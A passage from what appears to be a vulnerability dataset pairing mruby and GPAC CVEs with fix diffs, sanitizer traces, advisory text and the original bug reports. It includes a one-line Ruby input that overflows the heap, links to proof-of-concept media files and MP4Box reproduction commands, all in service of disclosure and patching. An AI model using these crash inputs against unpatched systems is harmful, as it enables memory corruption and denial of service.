- if (c->status == MRB_FIBER_RUNNING || c->status == MRB_FIBER_RESUMED) {
+ if (status == MRB_FIBER_RUNNING || status == MRB_FIBER_RESUMED) {
mrb_raise(mrb, E_FIBER_ERROR, "double resume (fib)");
}
- if (c->status == MRB_FIBER_TERMINATED) {
+ if (status == MRB_FIBER_TERMINATED) {
mrb_raise(mrb, E_FIBER_ERROR, "resuming dead fiber");
}
- mrb->c->status = resume ? MRB_FIBER_RESUMED : MRB_FIBER_TRANSFERRED;
+ old_c->status = resume ? MRB_FIBER_RESUMED : MRB_FIBER_TRANSFERRED;
c->prev = resume ? mrb->c : (c->prev ? c->prev : mrb->root_c);
- if (c->status == MRB_FIBER_CREATED) {
+ fiber_switch_context(mrb, c);
+ if (status == MRB_FIBER_CREATED) {
mrb_value *b, *e;
- if (len >= c->stend - c->stack) {
- mrb_raise(mrb, E_FIBER_ERROR, "too many arguments to fiber");
- }
+ mrb_stack_extend(mrb, len+2); /* for receiver and (optional) block */
b = c->stack+1;
e = b + len;
while (b<e) {
@@ -215,7 +216,6 @@ fiber_switch(mrb_state *mrb, mrb_value self, mrb_int len, const mrb_value *a, mr
else {
value = fiber_result(mrb, a, len);
}
- fiber_switch_context(mrb, c);
if (vmexec) {
c->vmexec = TRUE;
| https://github.com/mruby/mruby/issues/4038 | ==42706==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x619000000e80 at pc 0x00010d30e3fe bp 0x7ffee2dcd970 sp 0x7ffee2dcd120
READ of size 16 at 0x619000000e80 thread T0
#0 0x10d30e3fd in __asan_memcpy (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x4f3fd)
#1 0x10cedd8a8 in mrb_vm_exec vm.c:1859
#2 0x10cec672b in mrb_vm_run vm.c:950
#3 0x10cefe483 in mrb_top_run vm.c:3005
#4 0x10d0fe067 in mrb_load_exec parse.y:5835
#5 0x10d0feea9 in mrb_load_file_cxt parse.y:5844
#6 0x10ce2a685 in main mruby.c:279
#7 0x7fff76f6d014 in start (libdyld.dylib:x86_64+0x1014)
0x619000000e80 is located 0 bytes to the right of 1024-byte region [0x619000000a80,0x619000000e80)
allocated by thread T0 here:
#0 0x10d3161a7 in wrap_realloc (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x571a7)
#1 0x10ceb2af5 in mrb_default_allocf state.c:55
#2 0x10cfc9908 in mrb_realloc_simple gc.c:206
#3 0x10cfca0d1 in mrb_realloc gc.c:220
#4 0x10cfcaba3 in mrb_malloc gc.c:242
#5 0x10d09953e in fiber_init fiber.c:97
#6 0x10ce71499 in mrb_instance_new class.c:1591
#7 0x10ced2fe1 in mrb_vm_exec vm.c:1472
#8 0x10cec672b in mrb_vm_run vm.c:950
#9 0x10cefe483 in mrb_top_run vm.c:3005
#10 0x10d0fe067 in mrb_load_exec parse.y:5835
#11 0x10d0feea9 in mrb_load_file_cxt parse.y:5844
#12 0x10ce2a685 in main mruby.c:279
#13 0x7fff76f6d014 in start (libdyld.dylib:x86_64+0x1014)
SUMMARY: AddressSanitizer: heap-buffer-overflow (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x4f3fd) in __asan_memcpy
Shadow bytes around the buggy address:
0x1c3200000180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1c3200000190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1c32000001a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1c32000001b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1c32000001c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x1c32000001d0:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x1c32000001e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x1c32000001f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x1c3200000200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x1c3200000210: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x1c3200000220: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==42706==ABORTING
Abort trap: 6 | === https://github.com/mruby/mruby/issues/4038 ===
Title: Heap buffer overflow in OP_ENTER
---
Body:
The following input demonstrates a crash:
```ruby
Fiber::new {|x|}.transfer(0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62)
```
This issue looks similar to #3641.
ASAN report:
```
==42706==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x619000000e80 at pc 0x00010d30e3fe bp 0x7ffee2dcd970 sp 0x7ffee2dcd120
READ of size 16 at 0x619000000e80 thread T0
#0 0x10d30e3fd in __asan_memcpy (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x4f3fd)
#1 0x10cedd8a8 in mrb_vm_exec vm.c:1859
#2 0x10cec672b in mrb_vm_run vm.c:950
#3 0x10cefe483 in mrb_top_run vm.c:3005
#4 0x10d0fe067 in mrb_load_exec parse.y:5835
#5 0x10d0feea9 in mrb_load_file_cxt parse.y:5844
#6 0x10ce2a685 in main mruby.c:279
#7 0x7fff76f6d014 in start (libdyld.dylib:x86_64+0x1014)
0x619000000e80 is located 0 bytes to the right of 1024-byte region [0x619000000a80,0x619000000e80)
allocated by thread T0 here:
#0 0x10d3161a7 in wrap_realloc (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x571a7)
#1 0x10ceb2af5 in mrb_default_allocf state.c:55
#2 0x10cfc9908 in mrb_realloc_simple gc.c:206
#3 0x10cfca0d1 in mrb_realloc gc.c:220
#4 0x10cfcaba3 in mrb_malloc gc.c:242
#5 0x10d09953e in fiber_init fiber.c:97
#6 0x10ce71499 in mrb_instance_new class.c:1591
#7 0x10ced2fe1 in mrb_vm_exec vm.c:1472
#8 0x10cec672b in mrb_vm_run vm.c:950
#9 0x10cefe483 in mrb_top_run vm.c:3005
#10 0x10d0fe067 in mrb_load_exec parse.y:5835
#11 0x10d0feea9 in mrb_load_file_cxt parse.y:5844
#12 0x10ce2a685 in main mruby.c:279
#13 0x7fff76f6d014 in start (libdyld.dylib:x86_64+0x1014)
SUMMARY: AddressSanitizer: heap-buffer-overflow (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x4f3fd) in __asan_memcpy
Shadow bytes around the buggy address:
0x1c3200000180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1c3200000190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1c32000001a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1c32000001b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1c32000001c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x1c32000001d0:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x1c32000001e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x1c32000001f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x1c3200000200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x1c3200000210: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x1c3200000220: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==42706==ABORTING
Abort trap: 6
```
This issue was reported by Daniel Teuchert, Cornelius Aschermann, Tommaso Frassetto and Tigist Abera (https://hackerone.com/pnoltof).
---
Comment #1 by jzySaber1996:
Hello, we're investigating the issue reports in security. Since we observed that this issue may relate to a potential vulnerability, has it been disclosed in CVE already? Hope to receive your reply.
---
Comment #2 by matz:
I don't think so. It's a 6-year-old bug, and no one currently uses the version with this issue.
---
Comment #3 by jzySaber1996:
That's OK, we have found that it is disclosed in CVE-2018-12248. Thank you so much for your reply! | https://nvd.nist.gov/vuln/detail/CVE-2018-12248 | ||
gpac.cve-2023-0841 | A vulnerability, which was classified as critical, has been found in GPAC 2.3-DEV-rev40-g3602a5ded. This issue affects the function mp3_dmx_process of the file filters/reframe_mp3.c. The manipulation leads to heap-based buffer overflow. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-221087. | https://github.com/qianshuidewajueji/poc/blob/main/gpac/mp3_dmx_process_poc3 | CWE-122, CWE-787 | advisories/GHSA-w52x-cp47-xhhw | https://github.com/gpac/gpac/issues/2396 | [MP3Dmx] invalid frame, resyncing
=================================================================
==29937==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61a00000e322 at pc 0x7fe02eb39490 bp 0x7ffdcd4a3c40 sp 0x7ffdcd4a33e8
READ of size 316 at 0x61a00000e322 thread T0
#0 0x7fe02eb3948f in __interceptor_memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:790
#1 0x7fe02c490c9f in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
#2 0x7fe02c490c9f in mp3_dmx_process filters/reframe_mp3.c:677
#3 0x7fe02c0700ed in gf_filter_process_task filter_core/filter.c:2828
#4 0x7fe02c032082 in gf_fs_thread_proc filter_core/filter_session.c:1859
#5 0x7fe02c03e856 in gf_fs_run filter_core/filter_session.c:2120
#6 0x7fe02ba7c806 in gf_media_import media_tools/media_import.c:1228
#7 0x55576950e3b1 in convert_file_info /home/qianshuidewajueji/gpac/applications/mp4box/fileimport.c:130
#8 0x5557694dddb5 in mp4box_main /home/qianshuidewajueji/gpac/applications/mp4box/mp4box.c:6302
#9 0x7fe028d14082 in __libc_start_main ../csu/libc-start.c:308
#10 0x5557694b1cfd in _start (/home/qianshuidewajueji/gpac/bin/gcc/MP4Box+0xa3cfd)
0x61a00000e322 is located 0 bytes to the right of 1186-byte region [0x61a00000de80,0x61a00000e322)
allocated by thread T0 here:
#0 0x7fe02ebabc3e in __interceptor_realloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:163
#1 0x7fe02c492248 in mp3_dmx_process filters/reframe_mp3.c:547
#2 0x7fe02c0700ed in gf_filter_process_task filter_core/filter.c:2828
#3 0x7fe02c032082 in gf_fs_thread_proc filter_core/filter_session.c:1859
#4 0x7fe02c03e856 in gf_fs_run filter_core/filter_session.c:2120
#5 0x7fe02ba7c806 in gf_media_import media_tools/media_import.c:1228
#6 0x55576950e3b1 in convert_file_info /home/qianshuidewajueji/gpac/applications/mp4box/fileimport.c:130
#7 0x5557694dddb5 in mp4box_main /home/qianshuidewajueji/gpac/applications/mp4box/mp4box.c:6302
#8 0x7fe028d14082 in __libc_start_main ../csu/libc-start.c:308
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:790 in __interceptor_memcpy
Shadow bytes around the buggy address:
0x0c347fff9c10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c347fff9c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c347fff9c30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c347fff9c40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c347fff9c50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c347fff9c60: 00 00 00 00[02]fa fa fa fa fa fa fa fa fa fa fa
0x0c347fff9c70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c347fff9c80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c347fff9c90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c347fff9ca0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c347fff9cb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==29937==ABORTING | === https://github.com/gpac/gpac/issues/2396 ===
Title: heap-buffer-overflow in function mp3_dmx_process filters/reframe_mp3.c:677
---
Body:
Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you!
- [x] I looked for a similar issue and couldn't find any.
- [x] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/
- [x] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95
Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/
# Version
```
MP4Box - GPAC version 2.3-DEV-rev40-g3602a5ded-master
(c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration: --enable-sanitizer --verbose
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_PNG GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D
```
# Reproduce
complie and run
```
./configure --enable-sanitizer --enable-debug
make
./MP4Box -info mp3_dmx_process_poc2
```
information reported by sanitizer
```
[MP3Dmx] invalid frame, resyncing
=================================================================
==29937==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61a00000e322 at pc 0x7fe02eb39490 bp 0x7ffdcd4a3c40 sp 0x7ffdcd4a33e8
READ of size 316 at 0x61a00000e322 thread T0
#0 0x7fe02eb3948f in __interceptor_memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:790
#1 0x7fe02c490c9f in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
#2 0x7fe02c490c9f in mp3_dmx_process filters/reframe_mp3.c:677
#3 0x7fe02c0700ed in gf_filter_process_task filter_core/filter.c:2828
#4 0x7fe02c032082 in gf_fs_thread_proc filter_core/filter_session.c:1859
#5 0x7fe02c03e856 in gf_fs_run filter_core/filter_session.c:2120
#6 0x7fe02ba7c806 in gf_media_import media_tools/media_import.c:1228
#7 0x55576950e3b1 in convert_file_info /home/qianshuidewajueji/gpac/applications/mp4box/fileimport.c:130
#8 0x5557694dddb5 in mp4box_main /home/qianshuidewajueji/gpac/applications/mp4box/mp4box.c:6302
#9 0x7fe028d14082 in __libc_start_main ../csu/libc-start.c:308
#10 0x5557694b1cfd in _start (/home/qianshuidewajueji/gpac/bin/gcc/MP4Box+0xa3cfd)
0x61a00000e322 is located 0 bytes to the right of 1186-byte region [0x61a00000de80,0x61a00000e322)
allocated by thread T0 here:
#0 0x7fe02ebabc3e in __interceptor_realloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:163
#1 0x7fe02c492248 in mp3_dmx_process filters/reframe_mp3.c:547
#2 0x7fe02c0700ed in gf_filter_process_task filter_core/filter.c:2828
#3 0x7fe02c032082 in gf_fs_thread_proc filter_core/filter_session.c:1859
#4 0x7fe02c03e856 in gf_fs_run filter_core/filter_session.c:2120
#5 0x7fe02ba7c806 in gf_media_import media_tools/media_import.c:1228
#6 0x55576950e3b1 in convert_file_info /home/qianshuidewajueji/gpac/applications/mp4box/fileimport.c:130
#7 0x5557694dddb5 in mp4box_main /home/qianshuidewajueji/gpac/applications/mp4box/mp4box.c:6302
#8 0x7fe028d14082 in __libc_start_main ../csu/libc-start.c:308
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:790 in __interceptor_memcpy
Shadow bytes around the buggy address:
0x0c347fff9c10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c347fff9c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c347fff9c30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c347fff9c40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c347fff9c50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c347fff9c60: 00 00 00 00[02]fa fa fa fa fa fa fa fa fa fa fa
0x0c347fff9c70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c347fff9c80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c347fff9c90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c347fff9ca0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c347fff9cb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==29937==ABORTING
```
# Poc
https://github.com/qianshuidewajueji/poc/blob/main/gpac/mp3_dmx_process_poc2
---
Comment #1 by aureliendavid:
previous fix wasn't generic enough
should be ok now | https://nvd.nist.gov/vuln/detail/CVE-2023-0841 | ||||
gpac.cve-2022-2454 | Integer Overflow or Wraparound in GitHub repository gpac/gpac prior to 2.1-DEV. | https://huntr.dev/bounties/105d40d0-46d7-461e-9f8e-20c4cdea925f | https://github.com/gpac/gpac/commit/faa75edde3dfeba1e2cf6ffa48e45a50f1042096, https://huntr.dev/bounties/105d40d0-46d7-461e-9f8e-20c4cdea925f | CWE-190 | gpac/gpac | faa75edde3dfeba1e2cf6ffa48e45a50f1042096~1 | diff --git a/src/laser/lsr_dec.c b/src/laser/lsr_dec.c
index 99d16aaa77..488babb104 100644
--- a/src/laser/lsr_dec.c
+++ b/src/laser/lsr_dec.c
@@ -838,6 +838,8 @@ static void lsr_read_id(GF_LASeRCodec *lsr, GF_Node *n)
static Fixed lsr_translate_coords(GF_LASeRCodec *lsr, u32 val, u32 nb_bits)
{
+ if (!nb_bits) return 0;
+
#ifdef GPAC_FIXED_POINT
if (val >> (nb_bits-1) ) {
s32 neg = (s32) val - (1<<nb_bits);
| https://huntr.dev/bounties/105d40d0-46d7-461e-9f8e-20c4cdea925f | https://nvd.nist.gov/vuln/detail/CVE-2022-2454 | |||
gpac.cve-2021-40575 | The binary MP4Box in Gpac 1.0.1 has a null pointer dereference vulnerability in the mpgviddmx_process function in reframe_mpgvid.c, which allows attackers to cause a denial of service. This vulnerability is possibly due to an incomplete fix for CVE-2021-40566. | https://github.com/gpac/gpac/issues/1905 | https://github.com/gpac/gpac/commit/5f2c2a16d30229b6241f02fa28e3d6b810d64858 | CWE-476 | gpac/gpac | 5f2c2a16d30229b6241f02fa28e3d6b810d64858~1 | diff --git a/src/filters/reframe_mpgvid.c b/src/filters/reframe_mpgvid.c
index 328db28551..85d4faa4cb 100644
--- a/src/filters/reframe_mpgvid.c
+++ b/src/filters/reframe_mpgvid.c
@@ -784,8 +784,14 @@ GF_Err mpgviddmx_process(GF_Filter *filter)
mpgviddmx_enqueue_or_dispatch(ctx, dst_pck, GF_FALSE, GF_FALSE);
}
- //parse headers
+ //not enough bytes to parse start code
+ if (remain<5) {
+ memcpy(ctx->hdr_store, start, remain);
+ ctx->bytes_in_header = remain;
+ break;
+ }
+ //parse headers
//we have a start code loaded, eg the data packet does not have a full start code at the beginning
if (sc_type_forced) {
gf_bs_reassign_buffer(ctx->bs, start + hdr_offset, remain - hdr_offset);
| https://github.com/gpac/gpac/issues/1905 | ==29762==ERROR: AddressSanitizer: negative-size-param: (size=-1)
#0 0x7fdaf42ff813 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79813)
#1 0x7fdaf2897f1c in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
#2 0x7fdaf2897f1c in mpgviddmx_process /playground/gpac/src/filters/reframe_mpgvid.c:643
#3 0x7fdaf254efa0 in gf_filter_process_task /playground/gpac/src/filter_core/filter.c:2441
#4 0x7fdaf250f0e2 in gf_fs_thread_proc /playground/gpac/src/filter_core/filter_session.c:1640
#5 0x7fdaf2519fb0 in gf_fs_run /playground/gpac/src/filter_core/filter_session.c:1877
#6 0x7fdaf1ff21f5 in gf_media_import /playground/gpac/src/media_tools/media_import.c:1178
#7 0x55ce40c3484f in convert_file_info /playground/gpac/applications/mp4box/fileimport.c:128
#8 0x55ce40c07635 in mp4boxMain /playground/gpac/applications/mp4box/main.c:5925
#9 0x7fdaef9a6bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#10 0x55ce40be83f9 in _start (/playground/gpac/build-a/bin/gcc/MP4Box+0x873f9)
0x622000007489 is located 0 bytes to the right of 5001-byte region [0x622000006100,0x622000007489)
allocated by thread T0 here:
#0 0x7fdaf4364b40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
#1 0x7fdaf26a0289 in filein_initialize /playground/gpac/src/filters/in_file.c:193
#2 0x7fdaf253b0f0 in gf_filter_new_finalize /playground/gpac/src/filter_core/filter.c:425
#3 0x7fdaf253f294 in gf_filter_new /playground/gpac/src/filter_core/filter.c:382
#4 0x7fdaf2519310 in gf_fs_load_source_dest_internal /playground/gpac/src/filter_core/filter_session.c:2833
#5 0x7fdaf2524a82 in gf_fs_load_source /playground/gpac/src/filter_core/filter_session.c:2873
#6 0x7fdaf1ff21a6 in gf_media_import /playground/gpac/src/media_tools/media_import.c:1165
#7 0x55ce40c3484f in convert_file_info /playground/gpac/applications/mp4box/fileimport.c:128
#8 0x55ce40c07635 in mp4boxMain /playground/gpac/applications/mp4box/main.c:5925
#9 0x7fdaef9a6bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
SUMMARY: AddressSanitizer: negative-size-param (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79813)
==29762==ABORTING | === https://github.com/gpac/gpac/issues/1905 ===
Title: Segmentation fault casued by null pointer dereference using mp4box in mpgviddmx_process, reframe_mpgvid.c:643
---
Body:
- [x] I looked for a similar issue and couldn't find any.
- [x] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/
- [x] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...).
Hi, there.
There is a segmentation fault caused by null pointer dereference in mpgviddmx_process, reframe_mpgvid.c:643 in commit d003a572d57. It seems to be an incomplete fix of issue #1887 and causes another problem.
Here is my environment, compiler info and gpac version:
~~~~
Distributor ID: Ubuntu
Description: Ubuntu 16.04.6 LTS
Release: 16.04
Codename: xenial
gcc: 5.4.0
MP4Box - GPAC version 1.1.0-DEV-rev1191-g55d6dbc-master
(c) 2000-2021 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
MINI build (encoders, decoders, audio and video output disabled)
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration: --static-bin --enable-debug
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_FREETYPE GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_DISABLE_3D
~~~~
To reproduce, run
~~~~
./MP4Box -info poc
~~~~
POC:
[poc.zip](https://github.com/gpac/gpac/files/7088610/mp4box-seg-npd-mpgviddmx_process643.zip)
(unzip first)
Here is the trace reported by gdb:
~~~~
Stopped reason: SIGSEGV
gef➤ bt
#0 0x000000000141a950 in memcpy (__len=0xffffffffffffffff, __src=0x24ada59, __dest=0x24a5770) at /usr/include/x86_64-linux-gnu/bits/string3.h:53
#1 mpgviddmx_process (filter=0x24a0bd0) at /mnt/data/playground/gpac/src/filters/reframe_mpgvid.c:643
#2 0x0000000000fe3e78 in gf_filter_process_task (task=0x2492f30) at /mnt/data/playground/gpac/src/filter_core/filter.c:2441
#3 0x0000000000f7ab69 in gf_fs_thread_proc (sess_thread=sess_thread@entry=0x248c2b0) at /mnt/data/playground/gpac/src/filter_core/filter_session.c:1640
#4 0x0000000000f927b8 in gf_fs_run (fsess=fsess@entry=0x248c220) at /mnt/data/playground/gpac/src/filter_core/filter_session.c:1877
#5 0x0000000000c17c8b in gf_media_import (importer=importer@entry=0x7fffffff5bf0) at /mnt/data/playground/gpac/src/media_tools/media_import.c:1178
#6 0x0000000000497345 in convert_file_info (inName=0x7fffffffe15b "tmp", trackID=0x0) at /mnt/data/playground/gpac/applications/mp4box/fileimport.c:128
#7 0x0000000000456aaa in mp4boxMain (argc=<optimized out>, argv=<optimized out>) at /mnt/data/playground/gpac/applications/mp4box/main.c:5925
#8 0x0000000001f06976 in generic_start_main ()
#9 0x0000000001f06f65 in __libc_start_main ()
#10 0x000000000041c4e9 in _start ()
~~~~
Here is the trace reported by ASAN:
~~~~
==29762==ERROR: AddressSanitizer: negative-size-param: (size=-1)
#0 0x7fdaf42ff813 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79813)
#1 0x7fdaf2897f1c in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
#2 0x7fdaf2897f1c in mpgviddmx_process /playground/gpac/src/filters/reframe_mpgvid.c:643
#3 0x7fdaf254efa0 in gf_filter_process_task /playground/gpac/src/filter_core/filter.c:2441
#4 0x7fdaf250f0e2 in gf_fs_thread_proc /playground/gpac/src/filter_core/filter_session.c:1640
#5 0x7fdaf2519fb0 in gf_fs_run /playground/gpac/src/filter_core/filter_session.c:1877
#6 0x7fdaf1ff21f5 in gf_media_import /playground/gpac/src/media_tools/media_import.c:1178
#7 0x55ce40c3484f in convert_file_info /playground/gpac/applications/mp4box/fileimport.c:128
#8 0x55ce40c07635 in mp4boxMain /playground/gpac/applications/mp4box/main.c:5925
#9 0x7fdaef9a6bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#10 0x55ce40be83f9 in _start (/playground/gpac/build-a/bin/gcc/MP4Box+0x873f9)
0x622000007489 is located 0 bytes to the right of 5001-byte region [0x622000006100,0x622000007489)
allocated by thread T0 here:
#0 0x7fdaf4364b40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
#1 0x7fdaf26a0289 in filein_initialize /playground/gpac/src/filters/in_file.c:193
#2 0x7fdaf253b0f0 in gf_filter_new_finalize /playground/gpac/src/filter_core/filter.c:425
#3 0x7fdaf253f294 in gf_filter_new /playground/gpac/src/filter_core/filter.c:382
#4 0x7fdaf2519310 in gf_fs_load_source_dest_internal /playground/gpac/src/filter_core/filter_session.c:2833
#5 0x7fdaf2524a82 in gf_fs_load_source /playground/gpac/src/filter_core/filter_session.c:2873
#6 0x7fdaf1ff21a6 in gf_media_import /playground/gpac/src/media_tools/media_import.c:1165
#7 0x55ce40c3484f in convert_file_info /playground/gpac/applications/mp4box/fileimport.c:128
#8 0x55ce40c07635 in mp4boxMain /playground/gpac/applications/mp4box/main.c:5925
#9 0x7fdaef9a6bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
SUMMARY: AddressSanitizer: negative-size-param (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79813)
==29762==ABORTING
~~~~ | https://nvd.nist.gov/vuln/detail/CVE-2021-40575 | |
gpac.cve-2023-5998 | Out-of-bounds Read in GitHub repository gpac/gpac prior to 2.3.0-DEV. | https://huntr.com/bounties/ea02a231-b688-422b-a881-ef415bcf6113 | https://github.com/gpac/gpac/commit/db74835944548fc3bdf03121b0e012373bdebb3e | CWE-125 | gpac/gpac | db74835944548fc3bdf03121b0e012373bdebb3e~1 | diff --git a/src/filters/reframe_mpgvid.c b/src/filters/reframe_mpgvid.c
index 8e092f973c..ecf2519555 100644
--- a/src/filters/reframe_mpgvid.c
+++ b/src/filters/reframe_mpgvid.c
@@ -1081,6 +1081,11 @@ GF_Err mpgviddmx_process(GF_Filter *filter)
//needs adjustement
if (bytes_from_store) {
size += bytes_from_store + hdr_offset;
+ if (size > remain) {
+ e = GF_NON_COMPLIANT_BITSTREAM;
